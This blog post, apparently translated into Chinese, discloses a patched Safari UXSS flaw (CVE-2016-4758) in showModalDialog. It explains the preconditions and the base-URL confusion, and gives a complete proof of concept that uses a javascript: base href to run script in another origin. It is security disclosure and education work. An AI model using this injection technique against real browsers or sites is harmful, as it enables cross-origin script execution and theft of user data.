Safari UXSS漏洞剖析:showModalDialog中的跨站脚本攻击

本文详细分析了Safari浏览器中存在的UXSS漏洞CVE-2016-4758,该漏洞源于showModalDialog方法对location变量的权限处理问题。攻击者可通过构造恶意页面实现跨站脚本攻击,文章包含攻击条件、漏洞原理及完整PoC演示。

CVE-2016-4758:Safari的showModalDialog中的UXSS漏洞

我想分享关于Safari的UXSS漏洞(CVE-2016-4758)的细节。该漏洞在Safari 10中已修复。

https://support.apple.com/en-us/HT207157

WebKit 适用版本:OS X Yosemite v10.10.5、OS X El Capitan v10.11.6和macOS Sierra 10.12 影响:访问恶意构建的网站可能导致敏感数据泄露 描述:location变量的处理存在权限问题。通过额外的所有权检查解决了此问题。 CVE-2016-4758:Cure53的Masato Kinugawa

攻击前提条件

要利用此漏洞进行攻击,我们需要满足两个条件:

  1. 目标页面使用JavaScript导航到相对URL(例如:location="/"window.open("/","_blank"))。
  2. 该导航在页面加载完成后执行。

我创建了满足条件的页面:

https://vulnerabledoma.in/safari_uxss_showModalDialog/target.html

1
2
3
4
5
6
<script>
function go_top(){
 location="/index.html";
}
</script>
<button onclick=go_top()>Top Page</button>

此页面的唯一目的是在用户点击“Top Page”按钮时导航到https://vulnerabledoma.in/index.html。我认为这样的页面随处可见。但利用此漏洞,我们可以在此条件下进行XSS攻击。

漏洞详情

现在,让我们使用showModalDialog方法。

以下页面仅在模态对话框中打开目标页面:

https://l0.cm/safari_uxss_showModalDialog/example.html

1
2
3
4
5
6
<script>
function go(){
 showModalDialog("https://vulnerabledoma.in/safari_uxss_showModalDialog/target.html");
}
</script>
<button onclick=go()>go</button>

当我们在模态对话框中点击“Top Page”按钮时会发生什么?不用说,我们会跳转到https://vulnerabledoma.in/index.html。但Safari的行为不同。令人惊讶的是,Safari导航到了https://l0.cm/index.html。显然,Safari错误地将父窗口的基础URL当成了模态窗口的基础URL。

开发XSS攻击

根据html5sec.org第42条,Safari允许将javascript: URL设置为base标签。因此,我认为如果我在父页面中将javascript: URL设置为base标签,可能能够实现XSS。

我的假设是正确的。这是最终的PoC:

https://l0.cm/safari_uxss_showModalDialog/

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
<!DOCTYPE html>
<html>
<head>
<base href="javascript://%0Aalert%28document.domain%29%2F/">
</head>
<body>
<script>
function go(){
 showModalDialog("http://vulnerabledoma.in/safari_uxss_showModalDialog/target.html");
}
</script>
<button onclick=go()>go</button>
</body>
</html>

如果一切顺利,当你点击“Top Page”按钮时,你会看到一个警告对话框,如下截图所示:

太好了!

结论

我写了关于Safari的UXSS漏洞。我于2015年6月15日报告了此漏洞。该漏洞在我报告后在WebKit中存活了一年多。

如果我找到有趣的漏洞,我会再次分享:D谢谢!

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计